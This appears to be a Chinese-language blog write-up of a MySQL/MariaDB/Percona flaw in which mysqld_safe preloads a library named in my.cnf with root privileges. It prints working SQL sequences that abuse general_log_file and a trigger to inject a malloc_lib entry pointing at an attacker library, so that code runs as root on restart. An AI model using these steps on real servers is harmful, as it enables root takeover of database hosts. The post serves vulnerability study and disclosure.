0x00 漏洞影響
mysql 5.5、5.6、5.7 在10月份更新前的所有版本,包括分支版本MariaDB和PerconaDB 。
0x01 利用途徑
通過遠程數據庫連接,web接口如phpMyAdmin,以及sql注入都可以完成。
0x02 漏洞原理
一些默認的mysql安裝方式並且mysqld_safe腳本作爲包裝器以root權限啓動mysql服務進程,比如像:
service mysql start
/etc/init.d/mysql start
ps aux | grep mysql以後你會發現mysqld_safe是以root權限運行,而mysql的主進程被降爲了mysql用戶,其中mysqld_safe有如下代碼:
----[ /usr/bin/mysqld_safe ]----
[...]
# set_malloc_lib LIB
# - If LIB is empty, do nothing and return
# - If LIB is 'tcmalloc', look for tcmalloc shared library in /usr/lib
# then pkglibdir. tcmalloc is part of the Google perftools project.
# - If LIB is an absolute path, assume it is a malloc shared library
#
# Put LIB in mysqld_ld_preload, which will be added to LD_PRELOAD when
# running mysqld. See ld.so for details.
set_malloc_lib() {
malloc_lib="$1"
if [ "$malloc_lib" = tcmalloc ]; then
pkglibdir=`get_mysql_config --variable=pkglibdir`
malloc_lib=
# This list is kept intentionally simple. Simply set --malloc-lib
# to a full path if another location is desired.
for libdir in /usr/lib "$pkglibdir" "$pkglibdir/mysql"; do
for flavor in _minimal '' _and_profiler _debug; do
tmp="$libdir/libtcmalloc$flavor.so"
#log_notice "DEBUG: Checking for malloc lib '$tmp'"
[ -r "$tmp" ] || continue
malloc_lib="$tmp"
break 2
done
done
[...]
----------[ eof ]---------------
它將在mysql服務啓動前預加載一個共享庫,可以用–malloc-lib=LIB 來指定,但也可以用my.cnf文件來進行配置,寫在[mysqld] 或 [mysqld_safe]位置。
如果通過在my.cnf中指定一個存在惡意代碼的庫路徑,那麼在mysql重啓的時候,這些代碼將被以root權限執行。
在3.23.55版本之前曾有漏洞允許通過OUTFILE/DUMPFILE語句覆蓋配置文件my.cnf,但是在之後,mysql修復了這個漏洞,不允許通過OUTFILE/DUMPFILE語句覆蓋已經存在的文件。
0x03 漏洞具體實現方式
這裏其實分爲三種情況:
1) my.cnf文件的擁有者是mysql,並且有讀寫權限。
雖然很多文檔都推薦這麼做,但其實是一個誤區,因爲如果這樣配置,那麼配置文件就可以被修改。
mysql> set global general_log_file = '/etc/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/tmp/mysql_exploit_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
之後,my.cnf文件會多了以下的部分
/usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with:
Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock
Time Id Command Argument
160728 17:25:14 40 Query select '
; injected config entry
[mysqld]
malloc_lib=/tmp/mysql_exploit_lib.so
[separator]
'
160728 17:25:15 40 Query set global general_log = off
然後,在啓動的時候,mysqld_safe腳本就會讀取這個/tmp/mysql_exploit_lib.so
路徑,然後清除之前創建的配置,打開這個文件並執行。此時配合將惡意文件用OUTFILE/DUMPFILE寫入到/tmp目錄下,就可以完成任意代碼執行操作。
2) 在默認安裝方式下創建新的配置文件在mysql的數據目錄(默認mysql有寫權限),不用依賴錯誤的權限配置!不需要FILE權限和錯誤文件歸屬!
mysqld_safe不止讀取上面講到的配置文件,同時還讀取/var/lib/mysql/my.cnf
,而這個目錄在任何安裝情況下,mysql用戶都是擁有寫權限!
----[ /usr/bin/mysqld_safe ]----
[...]
# Try where the binary installs put it
if test -d $MY_BASEDIR_VERSION/data/mysql
then
DATADIR=$MY_BASEDIR_VERSION/data
if test -z "$defaults" -a -r "$DATADIR/my.cnf"
then
defaults="--defaults-extra-file=$DATADIR/my.cnf"
fi
[...]
----------[ eof ]---------------
利用以下代碼:
mysql> set global general_log_file = '/var/lib/mysql/my.cnf';
mysql> set global general_log = on;
mysql> select '
'>
'> ; injected config entry
'>
'> [mysqld]
'> malloc_lib=/var/lib/mysql/mysql_hookandroot_lib.so
'>
'> [separator]
'>
'> ';
1 row in set (0.00 sec)
mysql> set global general_log = off;
不過以上的配置文件不會被接受,因爲mysql不允許配置文件以非正確的配置標籤開頭(如[mysqld]),正確的繞過方式有待更新。
3) 如果只有SELECT和FILE權限,不能利用日誌記錄的方式。
那麼只能利用觸發器來修改配置文件。
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `active_table` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
set global general_log = off;
END;
或者
SELECT '...trigger_definition...' INTO DUMPFILE /var/lib/mysql/activedb/active_table.TRG'
0x04 小結
或許我理解會有一些錯誤的地方,還望各位指正一下,之前就有人做過解析,寫的很好,一併貼出鏈接:
http://blog.csdn.net/u011721501/article/details/52521037